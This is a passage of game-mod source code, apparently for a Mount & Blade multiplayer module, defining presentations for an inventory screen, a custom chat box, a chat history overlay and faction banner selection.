":unused_overlay_id", 0), (try_end), (try_end), (try_end), ]), ]), ]) # Factor out a common part of show_inventory triggers: finding the affected slot. def prsnt_generate_find_object_slot(): find_object_slot_list = [(store_trigger_param_1, ":object_id"), (neq, ":object_id", "$g_show_inventory_obj_container"), (neq, ":object_id", "$g_show_inventory_obj_left_border"), (neq, ":object_id", "$g_show_inventory_obj_right_border"), (assign, ":found_obj_slot", -1), (prop_instance_is_valid, "$g_show_inventory_instance_id"), (scene_prop_get_slot, ":inventory_count", "$g_show_inventory_instance_id", slot_scene_prop_inventory_count), (store_add, ":inventory_obj_end", ":inventory_count", slot_scene_prop_inventory_obj_begin), (try_for_range, ":inventory_obj_slot", slot_scene_prop_inventory_obj_begin, ":inventory_obj_end"), (scene_prop_slot_eq, "$g_show_inventory_instance_id", ":inventory_obj_slot", ":object_id"), (assign, ":found_obj_slot", ":inventory_obj_slot"), (assign, ":inventory_obj_end", slot_scene_prop_inventory_obj_begin), (try_end), (try_begin), (eq, ":found_obj_slot", -1), (assign, ":inventory_obj_end", slot_scene_prop_inventory_obj_item_0 + ek_gloves + 1), (try_for_range, ":inventory_obj_slot", slot_scene_prop_inventory_obj_begin, ":inventory_obj_end"), (scene_prop_slot_eq, "$g_show_inventory_instance_id", ":inventory_obj_slot", ":object_id"), (assign, ":found_obj_slot", ":inventory_obj_slot"), (assign, ":inventory_obj_end", slot_scene_prop_inventory_obj_item_0), (try_end), (try_end), (gt, ":found_obj_slot", -1), ] return lazy.block(find_object_slot_list) presentations.extend([ ("show_inventory", prsntf_manual_end_only, 0, [(ti_on_presentation_load, [(set_fixed_point_multiplier, 1000), (prop_instance_is_valid, "$g_show_inventory_instance_id"), (scene_prop_get_slot, ":inventory_count", "$g_show_inventory_instance_id", slot_scene_prop_inventory_count), (gt, ":inventory_count", 0), (str_clear, s1), (create_text_overlay, "$g_show_inventory_obj_container", s1, tf_scrollable_style_2), (position_set_x, pos1, inventory_container_x_offset), (position_set_y, pos1, inventory_container_y_offset), (overlay_set_position, "$g_show_inventory_obj_container", pos1), (position_set_x, pos1, inventory_slots_per_row * inventory_slot_spacing + 3), (position_set_y, pos1, 4 * inventory_slot_spacing + 3), (overlay_set_area_size, "$g_show_inventory_obj_container", pos1), (set_container_overlay, "$g_show_inventory_obj_container"), (position_set_x, pos11, 800), (position_set_y, pos11, 800), (assign, ":current_x", 0), (store_div, ":current_y", ":inventory_count", inventory_slots_per_row), (store_mod, ":partial_line", ":inventory_count", inventory_slots_per_row), (try_begin), (eq, ":partial_line", 0), (val_sub, ":current_y", 1), (try_end), (val_mul, ":current_y", inventory_slot_spacing), (val_sub, ":current_y", 1), (store_add, ":inventory_end", ":inventory_count", slot_scene_prop_inventory_begin), (try_for_range, ":inventory_slot", slot_scene_prop_inventory_begin, ":inventory_end"), # show inventory slots with items inside (create_image_button_overlay, reg1, "mesh_mp_inventory_choose", "mesh_mp_inventory_choose"), (overlay_set_size, reg1, pos11), (position_set_x, pos1, ":current_x"), (position_set_y, pos1, ":current_y"), (overlay_set_position, reg1, pos1), (store_add, ":inventory_obj_slot", ":inventory_slot", slot_scene_prop_inventory_obj_begin - slot_scene_prop_inventory_begin), (scene_prop_set_slot, "$g_show_inventory_instance_id", ":inventory_obj_slot", reg1), (scene_prop_get_slot, ":item_id", "$g_show_inventory_instance_id", ":inventory_slot"), (try_begin), (ge, ":item_id", all_items_begin), (create_mesh_overlay_with_item_id, reg2, ":item_id"), (store_add, ":item_x", ":current_x", inventory_mesh_offset), (store_add, ":item_y", ":current_y", inventory_mesh_offset), (position_set_x, pos2, ":item_x"), (position_set_y, pos2, ":item_y"), (overlay_set_position, reg2, pos2), (else_try), (assign, reg2, -1), (try_end), (store_add, ":inventory_mesh_slot", ":inventory_slot", slot_scene_prop_inventory_mesh_begin - slot_scene_prop_inventory_begin), (scene_prop_set_slot, "$g_show_inventory_instance_id", ":inventory_mesh_slot", reg2), (try_begin), (ge, ":current_x", (inventory_slots_per_row - 1) * inventory_slot_spacing), (val_sub, ":current_y", inventory_slot_spacing), (assign, ":current_x", 0), (else_try), (val_add, ":current_x", inventory_slot_spacing), (try_end), (try_end), (set_container_overlay, -1), # show the player equipment slots at the edge, outside the scrolling container (multiplayer_get_my_player, ":player_id"), (player_is_active, ":player_id"), (player_get_agent_id, ":agent_id", ":player_id"), (agent_is_active, ":agent_id"), (try_for_range, ":equip_slot", ek_item_0, ek_gloves + 1), (assign, ":mesh_id", "mesh_mp_inventory_slot_equip"), (try_begin), (eq, ":equip_slot", ek_item_0), (position_set_x, pos1, 900), (position_set_x, pos2, 900 + inventory_mesh_offset), (assign, ":slot_y", 475), (assign, ":item_y", 475 + inventory_mesh_offset), (else_try), (eq, ":equip_slot", ek_head), (position_set_x, pos1, 3), (position_set_x, pos2, 3 + inventory_mesh_offset), (assign, ":slot_y", 475), (assign, ":item_y", 475 + inventory_mesh_offset), (assign, ":mesh_id", "mesh_mp_inventory_slot_helmet"), (else_try), (eq, ":equip_slot", ek_body), (assign, ":mesh_id", "mesh_mp_inventory_slot_armor"), (else_try), (eq, ":equip_slot", ek_foot), (assign, ":mesh_id", "mesh_mp_inventory_slot_boot"), (else_try), (eq, ":equip_slot", ek_gloves), (assign, ":mesh_id", "mesh_mp_inventory_slot_glove"), (try_end), (create_image_button_overlay, reg1, ":mesh_id", ":mesh_id"), (overlay_set_size, reg1, pos11), (position_set_y, pos1, ":slot_y"), (overlay_set_position, reg1, pos1), (store_add, ":inventory_obj_slot", ":equip_slot", slot_scene_prop_inventory_obj_item_0 - ek_item_0), (scene_prop_set_slot, "$g_show_inventory_instance_id", ":inventory_obj_slot", reg1), (agent_get_item_slot, ":item_id", ":agent_id", ":equip_slot"), (store_add, ":inventory_slot", ":equip_slot", slot_scene_prop_inventory_item_0 - ek_item_0), (scene_prop_set_slot, "$g_show_inventory_instance_id", ":inventory_slot", ":item_id"), (try_begin), (ge, ":item_id", all_items_begin), (create_mesh_overlay_with_item_id, reg2, ":item_id"), (position_set_y, pos2, ":item_y"), (overlay_set_position, reg2, pos2), (else_try), (assign, reg2, -1), (try_end), (store_add, ":inventory_mesh_slot", ":equip_slot", slot_scene_prop_inventory_mesh_item_0 - ek_item_0), (scene_prop_set_slot, "$g_show_inventory_instance_id", ":inventory_mesh_slot", reg2), (val_sub, ":item_y", inventory_slot_spacing), (val_sub, ":slot_y", inventory_slot_spacing), (try_end), (create_mesh_overlay, "$g_show_inventory_obj_left_border", "mesh_mp_inventory_right"), (overlay_set_size, "$g_show_inventory_obj_left_border", pos11), (position_set_x, pos1, 106), (position_set_y, pos1, 685), (overlay_set_position, "$g_show_inventory_obj_left_border", pos1), (init_position, pos1), (position_rotate_z, pos1, 180), (overlay_set_mesh_rotation, "$g_show_inventory_obj_left_border", pos1), (create_mesh_overlay, "$g_show_inventory_obj_right_border", "mesh_mp_inventory_right"), (overlay_set_size, "$g_show_inventory_obj_right_border", pos11), (position_set_x, pos1, 894), (position_set_y, pos1, 65), (overlay_set_position, "$g_show_inventory_obj_right_border", pos1), (assign, "$g_show_inventory_selected_slot", -1), (assign, "$g_show_inventory_selected_mesh", -1), (assign, "$g_show_inventory_item_details", -1), (assign, "$g_show_inventory_update_needed", 0), (presentation_set_duration, 999999), ]), (ti_on_presentation_event_state_change, [prsnt_generate_find_object_slot(), (set_fixed_point_multiplier, 1000), (store_add, ":target_mesh_slot", ":found_obj_slot", slot_scene_prop_inventory_mesh_begin - slot_scene_prop_inventory_obj_begin), (scene_prop_get_slot, ":target_mesh_object_id", "$g_show_inventory_instance_id", ":target_mesh_slot"), (store_add, ":target_inventory_slot", ":found_obj_slot", slot_scene_prop_inventory_begin - slot_scene_prop_inventory_obj_begin), (try_begin), # an item is already selected (gt, "$g_show_inventory_selected_slot", -1), (try_begin), # if the selected item was put back in its current slot, replace without sending a message to the server (eq, ":target_inventory_slot", "$g_show_inventory_selected_slot"), (scene_prop_get_slot, ":target_object_id", "$g_show_inventory_instance_id", ":found_obj_slot"), (try_begin), # if the target is inside the scrolling container, recalculate the slot position (is_between, "$g_show_inventory_selected_slot", slot_scene_prop_inventory_begin, slot_scene_prop_inventory_item_0), (overlay_set_container_overlay, "$g_show_inventory_selected_mesh", "$g_show_inventory_obj_container"), (store_sub, ":target_slot_no", ":target_inventory_slot", slot_scene_prop_inventory_begin), (store_mod, ":target_mesh_x", ":target_slot_no", inventory_slots_per_row), (scene_prop_get_slot, ":inventory_count", "$g_show_inventory_instance_id", slot_scene_prop_inventory_count), (store_sub, ":target_mesh_y", ":inventory_count", ":target_slot_no"), (val_sub, ":target_mesh_y", 1), (val_div, ":target_mesh_y", inventory_slots_per_row), (store_mod, ":partial_line_count", ":inventory_count", inventory_slots_per_row), (try_begin), (ge, ":partial_line_count", 1), (ge, ":target_mesh_x", ":partial_line_count"), (val_add, ":target_mesh_y", 1), (try_end), (val_mul, ":target_mesh_x", inventory_slot_spacing), (val_mul, ":target_mesh_y", inventory_slot_spacing), (else_try), # for fixed equipment slots (overlay_get_position, pos1, ":target_object_id"), (position_get_x, ":target_mesh_x", pos1), (position_get_y, ":target_mesh_y", pos1), (try_end), (val_add, ":target_mesh_x", inventory_mesh_offset), (val_add, ":target_mesh_y", inventory_mesh_offset), (position_set_x, pos1, ":target_mesh_x"), (position_set_y, pos1, ":target_mesh_y"), (overlay_set_position, "$g_show_inventory_selected_mesh", pos1), (assign, "$g_show_inventory_selected_slot", -1), (assign, "$g_show_inventory_selected_mesh", -1), (else_try), # request the selected item be transferred to another slot (neg|scene_prop_slot_ge, "$g_show_inventory_instance_id", ":target_inventory_slot", all_items_begin), (scene_prop_get_slot, ":item_id", "$g_show_inventory_instance_id", "$g_show_inventory_selected_slot"), (ge, ":item_id", all_items_begin), (assign, ":error_string_id", "str_item_too_long_for_container"), (item_get_slot, ":length", ":item_id", slot_item_length), (try_begin), (this_or_next|ge, ":target_inventory_slot", slot_scene_prop_inventory_item_0), (scene_prop_slot_ge, "$g_show_inventory_instance_id", slot_scene_prop_inventory_max_length, ":length"), (assign, ":error_string_id", "str_cant_put_money_bag_in_container"), (this_or_next|neq, ":item_id", "itm_money_bag"), (ge, ":target_inventory_slot", slot_scene_prop_inventory_item_0), (multiplayer_send_4_int_to_server, client_event_transfer_inventory, "$g_show_inventory_instance_id", "$g_show_inventory_selected_slot", ":target_inventory_slot", ":item_id"), (else_try), (call_script, "script_preset_message", ":error_string_id", preset_message_error, 0, 0), (try_end), (try_end), (else_try), # select an item from a slot (le, "$g_show_inventory_selected_slot", -1), (gt, ":target_mesh_object_id", -1), (store_add, "$g_show_inventory_selected_slot", ":found_obj_slot", slot_scene_prop_inventory_begin - slot_scene_prop_inventory_obj_begin), (assign, "$g_show_inventory_selected_mesh", ":target_mesh_object_id"), (overlay_set_container_overlay, "$g_show_inventory_selected_mesh", -1), (try_end), ]), (ti_on_presentation_mouse_enter_leave, [prsnt_generate_find_object_slot(), (store_trigger_param_2, ":leave"), (set_fixed_point_multiplier, 1000), (try_begin), (eq, ":leave", 1), (eq, "$g_show_inventory_item_details", ":found_obj_slot"), (assign, "$g_show_inventory_item_details", -1), (close_item_details), (else_try), (eq, ":leave", 0), (try_begin), (is_between, ":found_obj_slot", slot_scene_prop_inventory_obj_item_0, slot_scene_prop_inventory_mesh_begin), (store_sub, ":equip_slot", ":found_obj_slot", slot_scene_prop_inventory_obj_item_0 - ek_item_0), (multiplayer_get_my_player, ":player_id"), (try_begin), (player_is_active, ":player_id"), (player_get_agent_id, ":agent_id", ":player_id"), (agent_is_active, ":agent_id"), (agent_get_item_slot, ":item_id", ":agent_id", ":equip_slot"), (else_try), (assign, ":item_id", -1), (try_end), (else_try), (store_sub, ":inventory_slot", ":found_obj_slot", slot_scene_prop_inventory_obj_begin - slot_scene_prop_inventory_begin), (scene_prop_get_slot, ":item_id", "$g_show_inventory_instance_id", ":inventory_slot"), (try_end), (ge, ":item_id", all_items_begin), (try_begin), (gt, "$g_show_inventory_item_details", -1), (close_item_details), (try_end), (assign, "$g_show_inventory_item_details", ":found_obj_slot"), (overlay_get_position, pos1, ":object_id"), (show_item_details, ":item_id", pos1, 100), (try_end), ]), (ti_on_presentation_run, [(store_trigger_param_1, ":cur_time"), (set_fixed_point_multiplier, 1000), (try_begin), # move the selected item with the mouse (gt, "$g_show_inventory_selected_mesh", -1), (mouse_get_position, pos1), (overlay_set_position, "$g_show_inventory_selected_mesh", pos1), (try_end), (try_begin), (key_clicked, key_escape), (gt, ":cur_time", 200), (assign, "$g_show_inventory_instance_id", 0), (multiplayer_send_message_to_server, client_event_transfer_inventory), # tell the server not to send any more updates for this inventory (presentation_set_duration, 0), (else_try), # end if the server signals or the item prop instance has been removed (this_or_next|eq, "$g_show_inventory_update_needed", -1), (this_or_next|neg|prop_instance_is_valid, "$g_show_inventory_instance_id"), (neg|scene_prop_slot_eq, "$g_show_inventory_instance_id", slot_scene_prop_inventory_unique_id, "$g_last_inventory_unique_id"), (assign, "$g_show_inventory_instance_id", 0), (presentation_set_duration, 0), (else_try), # if an update is signalled as necessary, check the inventory mod slots for changes (eq, "$g_show_inventory_update_needed", 1), (assign, "$g_show_inventory_update_needed", 0), (multiplayer_get_my_player, ":player_id"), (player_is_active, ":player_id"), (player_get_agent_id, ":agent_id", ":player_id"), (agent_is_active, ":agent_id"), (try_for_range, ":equip_slot", ek_item_0, ek_gloves + 1), # check and update the agent equipment slots (agent_get_item_slot, ":item_id", ":agent_id", ":equip_slot"), (store_add, ":inventory_slot", ":equip_slot", slot_scene_prop_inventory_item_0 - ek_item_0), (neg|scene_prop_slot_eq, "$g_show_inventory_instance_id", ":inventory_slot", ":item_id"), (store_add, ":inventory_mod_slot", ":equip_slot", slot_scene_prop_inventory_mod_item_0 - ek_item_0), (scene_prop_set_slot, "$g_show_inventory_instance_id", ":inventory_mod_slot", ":item_id"), (try_end), (try_for_range, ":added_mod_slot", slot_scene_prop_inventory_mod_begin, slot_scene_prop_inventory_mod_end), # check for items added to slots (scene_prop_get_slot, ":added_item_id", "$g_show_inventory_instance_id", ":added_mod_slot"), (ge, ":added_item_id", all_items_begin), (store_add, ":added_inventory_slot", ":added_mod_slot", slot_scene_prop_inventory_begin - slot_scene_prop_inventory_mod_begin), (scene_prop_set_slot, "$g_show_inventory_instance_id", ":added_inventory_slot", ":added_item_id"), (assign, ":mesh_object_id", -1), (assign, ":loop_end", slot_scene_prop_inventory_mod_end), (try_for_range, ":removed_mod_slot", slot_scene_prop_inventory_mod_begin, ":loop_end"), # check the removed slots for item meshes to reuse (scene_prop_slot_eq, "$g_show_inventory_instance_id", ":removed_mod_slot", -1), (store_add, ":removed_inventory_slot", ":removed_mod_slot", slot_scene_prop_inventory_begin - slot_scene_prop_inventory_mod_begin), (scene_prop_slot_eq, "$g_show_inventory_instance_id", ":removed_inventory_slot", ":added_item_id"), (assign, ":loop_end", -1), (scene_prop_set_slot, "$g_show_inventory_instance_id", ":removed_inventory_slot", -1), (scene_prop_set_slot, "$g_show_inventory_instance_id", ":removed_mod_slot", 0), (store_add, ":removed_mesh_slot", ":removed_mod_slot", slot_scene_prop_inventory_mesh_begin - slot_scene_prop_inventory_mod_begin), (scene_prop_get_slot, ":mesh_object_id", "$g_show_inventory_instance_id", ":removed_mesh_slot"), (scene_prop_set_slot, "$g_show_inventory_instance_id", ":removed_mesh_slot", -1), (try_end), (try_begin), # otherwise if an existing mesh for a removed item was not found, create a new one (le, ":mesh_object_id", -1), (create_mesh_overlay_with_item_id, ":mesh_object_id", ":added_item_id"), (try_end), (store_add, ":added_mesh_slot", ":added_mod_slot", slot_scene_prop_inventory_mesh_begin - slot_scene_prop_inventory_mod_begin), (scene_prop_set_slot, "$g_show_inventory_instance_id", ":added_mesh_slot", ":mesh_object_id"), (store_add, ":added_obj_slot", ":added_mod_slot", slot_scene_prop_inventory_obj_begin - slot_scene_prop_inventory_mod_begin), (scene_prop_get_slot, ":added_object_id", "$g_show_inventory_instance_id", ":added_obj_slot"), (overlay_set_display, ":mesh_object_id", 0), (try_begin), # if transferring into the scrollable container, calculate the slot position (is_between, ":added_inventory_slot", slot_scene_prop_inventory_begin, slot_scene_prop_inventory_item_0), (overlay_set_container_overlay, ":mesh_object_id", "$g_show_inventory_obj_container"), (store_sub, ":added_slot_no", ":added_inventory_slot", slot_scene_prop_inventory_begin), (store_mod, ":added_mesh_x", ":added_slot_no", inventory_slots_per_row), (scene_prop_get_slot, ":inventory_count", "$g_show_inventory_instance_id", slot_scene_prop_inventory_count), (store_sub, ":added_mesh_y", ":inventory_count", ":added_slot_no"), (val_sub, ":added_mesh_y", 1), (val_div, ":added_mesh_y", inventory_slots_per_row), (store_mod, ":partial_line_count", ":inventory_count", inventory_slots_per_row), (try_begin), (ge, ":partial_line_count", 1), (ge, ":added_mesh_x", ":partial_line_count"), (val_add, ":added_mesh_y", 1), (try_end), (val_mul, ":added_mesh_x", inventory_slot_spacing), (val_mul, ":added_mesh_y", inventory_slot_spacing), (else_try), # transferring into agent equipment slots (overlay_set_container_overlay, ":mesh_object_id", -1), (overlay_get_position, pos1, ":added_object_id"), (position_get_x, ":added_mesh_x", pos1), (position_get_y, ":added_mesh_y", pos1), (try_end), (val_add, ":added_mesh_x", inventory_mesh_offset), (val_add, ":added_mesh_y", inventory_mesh_offset), (position_set_x, pos1, ":added_mesh_x"), (position_set_y, pos1, ":added_mesh_y"), (overlay_set_position, ":mesh_object_id", pos1), (overlay_set_display, ":mesh_object_id", 1), (try_begin), # if the currently selected mesh was moved, drop it (this_or_next|eq, ":mesh_object_id", "$g_show_inventory_selected_mesh"), (is_between, ":added_mod_slot", slot_scene_prop_inventory_mod_item_0, slot_scene_prop_inventory_mod_end), (assign, "$g_show_inventory_selected_slot", -1), (assign, "$g_show_inventory_selected_mesh", -1), (try_end), (try_end), (try_for_range, ":removed_mod_slot", slot_scene_prop_inventory_mod_begin, slot_scene_prop_inventory_mod_end), # hide any unused meshes for removed items (scene_prop_get_slot, ":removed_mod", "$g_show_inventory_instance_id", ":removed_mod_slot"), (scene_prop_set_slot, "$g_show_inventory_instance_id", ":removed_mod_slot", 0), (eq, ":removed_mod", -1), (store_add, ":removed_inventory_slot", ":removed_mod_slot", slot_scene_prop_inventory_begin - slot_scene_prop_inventory_mod_begin), (scene_prop_set_slot, "$g_show_inventory_instance_id", ":removed_inventory_slot", -1), (scene_prop_set_slot, "$g_show_inventory_instance_id", ":removed_mod_slot", 0), (store_add, ":removed_mesh_slot", ":removed_mod_slot", slot_scene_prop_inventory_mesh_begin - slot_scene_prop_inventory_mod_begin), (scene_prop_get_slot, ":mesh_object_id", "$g_show_inventory_instance_id", ":removed_mesh_slot"), (scene_prop_set_slot, "$g_show_inventory_instance_id", ":removed_mesh_slot", -1), (gt, ":mesh_object_id", -1), (overlay_set_display, ":mesh_object_id", 0), (overlay_set_container_overlay, ":mesh_object_id", -1), (try_end), (try_end), ]), ]), # $g_chat_box_string_id: # $g_chat_box_player_string_id: the prompt string to display above the text box if a player is targeted - s1 is replaced with the target's name # $g_target_player_id: the player name is inserted in the prompt string and sent with the network message to the server # $g_chat_box_event_type: network event number to send to the server associated with the string ("chat_box", prsntf_manual_end_only, 0, # text entry box for custom chat message types, emulating the look of the hard coded one [(ti_on_presentation_load, [(set_fixed_point_multiplier, 1000), (try_begin), (gt, "$g_chat_box_player_string_id", 0), (gt, "$g_target_player_id", 0), (try_begin), (player_is_active, "$g_target_player_id"), (player_slot_eq, "$g_target_player_id", slot_player_list_button_id, "$g_target_player_overlay_id"), (else_try), (assign, "$g_target_player_id", 0), (try_end), (gt, "$g_target_player_id", 0), (str_store_player_username, s1, "$g_target_player_id"), (assign, ":title_string_id", "$g_chat_box_player_string_id"), (else_try), (assign, ":title_string_id", "$g_chat_box_string_id"), (try_end), (create_text_overlay, "$g_presentation_obj_chat_box_title", ":title_string_id"), (overlay_set_color, "$g_presentation_obj_chat_box_title", 0xFFFFFFFF), (position_set_x, pos1, 200), (position_set_y, pos1, 530), (overlay_set_position, "$g_presentation_obj_chat_box_title", pos1), (position_set_x, pos1, 1000), (position_set_y, pos1, 980), (overlay_set_size, "$g_presentation_obj_chat_box_title", pos1), (create_simple_text_box_overlay, "$g_presentation_obj_chat_box"), (position_set_x, pos1, 200), (position_set_y, pos1, 500), (overlay_set_position, "$g_presentation_obj_chat_box", pos1), (position_set_x, pos1, 600), (position_set_y, pos1, 1000), (overlay_set_size, "$g_presentation_obj_chat_box", pos1), (overlay_obtain_focus, "$g_presentation_obj_chat_box"), (presentation_set_duration, 999999), ]), (ti_on_presentation_event_state_change, [(store_trigger_param_1, ":object"), (try_begin), (eq, ":object", "$g_presentation_obj_chat_box"), (try_begin), (neg|key_clicked, key_left_mouse_button), (neg|key_clicked, key_escape), (neg|str_is_empty, s0), (try_begin), (key_is_down, key_right_shift), (val_add, "$g_chat_box_event_type", 1), (try_end), (troop_get_slot, ":last_event", "trp_last_chat_message", slot_last_chat_message_event_type), (call_script, "script_chat_event_increment", ":last_event"), # increment the network event number sent from a looped range, to try detect missed and duplicated messages (assign, ":event", reg0), (val_min, "$g_chat_box_event_type", net_chat_event_mask), (assign, ":event_type", "$g_chat_box_event_type"), (val_lshift, ":event_type", net_chat_type_shift), (val_or, ":event", ":event_type"), (assign, ":continue", 1), (try_begin), (le, "$g_chat_box_player_string_id", 0), (else_try), (le, "$g_target_player_id", 0), (else_try), (player_is_active, "$g_target_player_id"), (player_slot_eq, "$g_target_player_id", slot_player_list_button_id, "$g_target_player_overlay_id"), (assign, ":target_player_id", "$g_target_player_id"), (val_lshift, ":target_player_id", net_chat_param_1_shift), (is_between, ":target_player_id", 0, net_value_upper_bound), (val_or, ":event", ":target_player_id"), # store target player id in upper bits of the event number (else_try), (assign, ":continue", 0), (try_end), (eq, ":continue", 1), (troop_set_slot, "trp_last_chat_message", slot_last_chat_message_event_type, ":event"), (troop_set_slot, "trp_last_chat_message", slot_last_chat_message_not_recieved, 1), (troop_set_name, "trp_last_chat_message", s0), (try_begin), (gt, ":event", net_chat_event_mask), (multiplayer_send_int_to_server, client_event_chat_message_type, ":event"), (try_end), (val_and, ":event", net_chat_event_mask), (multiplayer_send_string_to_server, ":event", s0), (try_end), (assign, "$g_chat_box_string_id", 0), (assign, "$g_chat_box_player_string_id", 0), (assign, "$g_chat_box_event_type", 0), (presentation_set_duration, 0), (try_end), ]), (ti_on_presentation_run, [(store_trigger_param_1, ":cur_time"), (try_begin), (key_clicked, key_escape), (gt, ":cur_time", 200), (assign, "$g_chat_box_string_id", 0), (assign, "$g_chat_box_player_string_id", 0), (assign, "$g_chat_box_event_type", 0), (presentation_set_duration, 0), (else_try), (gt, "$g_chat_box_player_string_id", 0), (key_clicked, key_f11), # select player to target from a list (assign, "$g_list_players_event", -1), (assign, "$g_list_players_action_string_id", "str_send_message_to"), (assign, "$g_list_players_return_presentation", "prsnt_chat_box"), (start_presentation, "prsnt_list_players"), (presentation_set_duration, 0), (try_end), ]), ]), ("chat_overlay", prsntf_read_only|prsntf_manual_end_only, 0, # displays recent lines of local or faction chat, to keep track of longer conversations [(ti_on_presentation_load, [(set_fixed_point_multiplier, 1000), (create_mesh_overlay, reg1, "mesh_white_plane"), (overlay_set_color, reg1, 0x000000), (overlay_set_alpha, reg1, 0xCC), (position_set_x, pos1, 5), (position_set_y, pos1, 553), (overlay_set_position, reg1, pos1), (position_set_x, pos1, 42000), (position_set_y, pos1, 9500), (overlay_set_size, reg1, pos1), (create_text_overlay, reg1, "str_empty_string", tf_scrollable_style_2), (position_set_x, pos1, 0), (position_set_y, pos1, 553), (overlay_set_position, reg1, pos1), (position_set_x, pos1, 825), (position_set_y, pos1, 186), (overlay_set_area_size, reg1, pos1), (set_container_overlay, reg1), (store_add, "$g_presentation_obj_chat_overlay_begin", reg1, 1), (val_clamp, "$g_chat_overlay_local_buffer_stored", chat_overlay_ring_buffer_begin, chat_overlay_ring_buffer_end), (val_clamp, "$g_chat_overlay_faction_buffer_stored", chat_overlay_ring_buffer_begin, chat_overlay_ring_buffer_end), (assign, "$g_chat_overlay_ring_buffer_displayed", -1), (position_set_x, pos11, 750), (position_set_y, pos11, 750), (position_set_x, pos1, 0), (assign, ":current_y", 0), (try_for_range, ":unused", 0, chat_overlay_ring_buffer_size), (create_text_overlay, reg1, "str_empty_string", tf_with_outline), (overlay_set_size, reg1, pos11), (position_set_y, pos1, ":current_y"), (overlay_set_position, reg1, pos1), (val_add, ":current_y", chat_overlay_item_height), (try_end), (presentation_set_duration, 999999), ]), (ti_on_presentation_run, [(try_begin), (eq, "$g_display_chat_overlay", 0), (presentation_set_duration, 0), (else_try), (assign, ":stored_buffer", -1), (try_begin), (eq, "$g_chat_overlay_type_selected", 0), (neq, "$g_chat_overlay_ring_buffer_displayed", "$g_chat_overlay_local_buffer_stored"), (assign, ":stored_buffer", "$g_chat_overlay_local_buffer_stored"), (else_try), (neq, "$g_chat_overlay_type_selected", 0), (neq, "$g_chat_overlay_ring_buffer_displayed", "$g_chat_overlay_faction_buffer_stored"), (assign, ":stored_buffer", "$g_chat_overlay_faction_buffer_stored"), (try_end), (gt, ":stored_buffer", -1), (assign, "$g_chat_overlay_ring_buffer_displayed", ":stored_buffer"), (assign, ":overlay_id", "$g_presentation_obj_chat_overlay_begin"), (try_for_range, ":chat_line_no", 0, chat_overlay_ring_buffer_size), # lines are stored in a ring buffer (of dummy troop names), overwriting the oldest first (store_sub, ":overlay_troop_id", ":stored_buffer", ":chat_line_no"), (try_begin), (lt, ":overlay_troop_id", chat_overlay_ring_buffer_begin), (val_add, ":overlay_troop_id", chat_overlay_ring_buffer_size), (try_end), (try_begin), (eq, "$g_chat_overlay_type_selected", 0), (str_store_troop_name, s0, ":overlay_troop_id"), (troop_get_slot, ":color", ":overlay_troop_id", slot_chat_overlay_local_color), (else_try), (str_store_troop_name_plural, s0, ":overlay_troop_id"), (troop_get_slot, ":color", ":overlay_troop_id", slot_chat_overlay_faction_color), (try_end), (overlay_set_text, ":overlay_id", s0), (overlay_set_color, ":overlay_id", ":color"), (val_add, ":overlay_id", 1), (try_end), (try_end), ]), ]), ("faction_banner_selection", prsntf_manual_end_only, 0, # display faction banners 16 at a time, redrawing the presentation for page changes [(ti_on_presentation_load, [(set_fixed_point_multiplier, 1000), (create_text_overlay, reg1, "str_choose_faction_banner", tf_center_justify|tf_with_outline), (position_set_x, pos1, 500), (position_set_y, pos1, 600), (overlay_set_position, reg1, pos1), (overlay_set_color, reg1, 0xFFFFFF), (create_button_overlay, "$g_presentation_obj_faction_banner_next", "str_next", tf_center_justify|tf_with_outline), (position_set_x, pos1, 700), (position_set_y, pos1, 50), (overlay_set_position, "$g_presentation_obj_faction_banner_next", pos1), (overlay_set_color, "$g_presentation_obj_faction_banner_next", 0xFFFFFF), (create_button_overlay, "$g_presentation_obj_faction_banner_prev", "str_previous", tf_center_justify|tf_with_outline), (position_set_x, pos1, 300), (position_set_y, pos1, 50), (overlay_set_position, "$g_presentation_obj_faction_banner_prev", pos1), (overlay_set_color, "$g_presentation_obj_faction_banner_prev", 0xFFFFFF), (assign, ":x_pos", 150), (assign, ":y_pos", 575), (position_set_x, pos2, 100), (position_set_y, pos2, 100), (store_add, "$g_presentation_banner_start", "$g_presentation_obj_faction_banner_prev", 1), (store_mul, ":page_banners_begin", 16, "$g_presentation_faction_banner_page_no"), (val_add, ":page_banners_begin", banner_meshes_begin), (store_add, ":page_banners_end", ":page_banners_begin", 16), (val_min, ":page_banners_end", banner_meshes_end), (try_for_range, ":banner_mesh", ":page_banners_begin", ":page_banners_end"), (create_image_button_overlay, reg1, ":banner_mesh", ":banner_mesh"), (position_set_x, pos1, ":x_pos"), (position_set_y, pos1, ":y_pos"), (overlay_set_position, reg1, pos1), (overlay_set_size, reg1, pos2), (try_begin), (ge, ":x_pos", 800), (assign, ":x_pos", 150), (val_sub, ":y_pos", 250), (else_try), (val_add, ":x_pos", 100), (try_end), (try_end), (store_sub, "$g_presentation_faction_banner_page_count", banner_meshes_end, banner_meshes_begin), (store_mod, ":remainder", "$g_presentation_faction_banner_page_count", 16), (val_div, "$g_presentation_faction_banner_page_count", 16), (try_begin), (gt, ":remainder", 0), (val_add, "$g_presentation_faction_banner_page_count", 1), (try_end), (presentation_set_duration, 999999), ]), (ti_on_presentation_event_state_change, [(store_trigger_param_1, ":object"), (try_begin), (eq, ":object", "$g_presentation_obj_faction_banner_next"), (val_add, "$g_presentation_faction_banner_page_no", 1), (val_mod, "$g_presentation_faction_banner_page_no", "$g_presentation_faction_banner_page_count"), (presentation_set_duration, 0), (start_presentation, "prsnt_faction_banner_selection"), (else_try), (eq, ":object", "$g_presentation_obj_faction_banner_prev"), (val_sub, "$g_presentation_faction_banner_page_no", 1), (try_begin), (lt, "$g_presentation_faction_banner_page_no", 0), (store_sub, "$g_presentation_faction_banner_page_no", "$g_presentation_faction_banner_page_count", 1), (try_end), (presentation_set_duration, 0), (start_presentation, "prsnt_faction_banner_selection"), (else_try), (store_sub, ":selected_banner", ":object", "$g_presentation_banner_start"), (store_mul, ":page_offset", 16, "$g_presentation_faction_banner_page_no"), (val_add, ":selected_banner", ":page_offset"), (val_add, ":selected_banner", banner_meshes_begin), (try_begin), (is_between, ":selected_banner", banner_meshes_begin, banner_meshes_end), (multiplayer_send_2_int_to_server, client_event_faction_admin_action, faction_admin_action_change_banner, ":selected_banner"), (try_end), (presentation_set_duration, 0), (try_end), ]), (ti_on_presentation_run, [(store_trigger_param_1, ":current_time"), (try_begin), (gt, ":current_time", 200), (key_clicked, key_escape), (presentation_set_duration, 0), (try_end), ]), ]), ("money_bag", prsntf_manual_end_only, 0, # allows dropping money bags on the ground, and depositing to or withdrawing from nearby money chests 